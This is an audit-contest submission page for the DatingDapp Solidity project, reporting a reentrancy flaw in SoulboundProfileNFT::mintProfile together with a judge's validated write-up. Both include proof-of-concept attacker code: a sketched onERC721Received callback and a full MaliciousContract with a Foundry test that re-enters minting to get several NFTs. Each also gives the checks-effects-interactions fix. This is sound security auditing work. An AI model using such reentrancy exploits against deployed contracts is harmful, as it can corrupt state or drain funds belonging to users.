DatingDapp
AI First Flight #6
Beginner FriendlyFoundrySolidityNFT
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Submission Details
Severity: medium
Valid

Reentrancy in `SoulboundProfileNFT::mintProfile` allows minting multiple NFTs per address

hopeh

Description


mintProfileviolates checks-effects-interactions: it calls _safeMint(an external interaction) before recording the user's profile in profileToToken:


function mintProfile(string memory name, uint8 age, string memory profileImage) external {
require(profileToToken[msg.sender] == 0, "Profile already exists"); // @> check
uint256 tokenId = ++_nextTokenId;
_safeMint(msg.sender, tokenId); // @> external call BEFORE effect
_profiles[tokenId] = Profile(name, age, profileImage);
profileToToken[msg.sender] = tokenId; // @> effect set AFTER the call
...
}
```
​
`_safeMint` invokes `onERC721Received` on the recipient if it is a contract. During that callback, `profileToToken[msg.sender]` is still `0`, so a malicious contract can **re-enter `mintProfile`** and pass the `profileToToken[msg.sender] == 0` guard again, minting itself multiple soulbound profile NFTs — breaking the one-profile-per-address invariant the protocol expects.
​
## Risk
​
**Likelihood: Medium**
​
- Requires the caller to be a contract implementing `onERC721Received`, which any attacker can deploy. `mintProfile` is permissionless.
​
**Impact: Medium**
​
- A single attacker can obtain multiple profile NFTs (and overwrite `profileToToken` to the last one), defeating the one-profile-per-address assumption the rest of the protocol relies on (e.g. `likeUser`'s `profileToToken(...) != 0` checks, matching, and the soulbound uniqueness guarantee). Corrupted profile/identity state.
​
## Proof of Concept
​
```solidity
// Attacker contract implements onERC721Received:
// function onERC721Received(...) { if (count < N) { count++; datingNFT.mintProfile(...); } return selector; }
// Attacker calls mintProfile() once -> re-enters N times because profileToToken[attacker] is still 0
// during each _safeMint callback -> N NFTs minted to one address.
```
​
## Recommended Mitigation
​
Follow checks-effects-interactions — set `profileToToken` before `_safeMint` (or add a reentrancy guard):
​
```solidity
require(profileToToken[msg.sender] == 0, "Profile already exists");
uint256 tokenId = ++_nextTokenId;
profileToToken[msg.sender] = tokenId; // @> effect first
_profiles[tokenId] = Profile(name, age, profileImage);
_safeMint(msg.sender, tokenId); // @> interaction last
```')
}
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 2 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[M-04] Reentrancy in `SoulboundProfileNft::mintProfile` allows minting multiple NFTs per address, which disrupts protocol expectations

## Description In `mintProfile`, the internal `_safeMint` function is called before updating the contract state (`_profiles[tokenId]` and `profileToToken[msg.sender]`). This violates CEI, as `_safeMint` calls an internal function that could invoke an external contract if `msg.sender` is a contract with a malicious `onERC721Received` implementation. Source Code: ```solidity function mintProfile(string memory name, uint8 age, string memory profileImage) external { require(profileToToken[msg.sender] == 0, "Profile already exists"); uint256 tokenId = ++_nextTokenId; _safeMint(msg.sender, tokenId); // Store metadata on-chain _profiles[tokenId] = Profile(name, age, profileImage); profileToToken[msg.sender] = tokenId; emit ProfileMinted(msg.sender, tokenId, name, age, profileImage); } ``` ## Vulnerability Details Copy this test and auxiliary contract in the unit test suite to prove that an attacker can mint multiple NFTs: ```solidity function testReentrancyMultipleNft() public { MaliciousContract maliciousContract = new MaliciousContract( address(soulboundNFT) ); vm.prank(address(maliciousContract)); MaliciousContract(maliciousContract).attack(); assertEq(soulboundNFT.balanceOf(address(maliciousContract)), 2); assertEq(soulboundNFT.profileToToken(address(maliciousContract)), 1); } ``` ```Solidity contract MaliciousContract { SoulboundProfileNFT soulboundNFT; uint256 counter; constructor(address _soulboundNFT) { soulboundNFT = SoulboundProfileNFT(_soulboundNFT); } // Malicious reentrancy attack function attack() external { soulboundNFT.mintProfile("Evil", 99, "malicious.png"); } // Malicious onERC721Received function function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4) { // Reenter the mintProfile function if (counter == 0) { counter++; soulboundNFT.mintProfile("EvilAgain", 100, "malicious2.png"); } return 0x150b7a02; } } ``` ## Impact The attacker could end up having multiple NTFs, but only one profile. This is because the `mintProfile`function resets the `profileToToken`mapping each time. At the end, the attacker will have only one profile connecting with one token ID with the information of the first mint. I consider that the severity is Low because the `LikeRegistry`contract works with the token IDs, not the NFTs. So, the impact will be a disruption in the relation of the amount of NTFs and the amount of profiles. ## Recommendations To follow CEI properly, move `_safeMint` to the end: ```diff function mintProfile(string memory name, uint8 age, string memory profileImage) external { require(profileToToken[msg.sender] == 0, "Profile already exists"); uint256 tokenId = ++_nextTokenId; - _safeMint(msg.sender, tokenId); // Store metadata on-chain _profiles[tokenId] = Profile(name, age, profileImage); profileToToken[msg.sender] = tokenId; + _safeMint(msg.sender, tokenId); emit ProfileMinted(msg.sender, tokenId, name, age, profileImage); } ```

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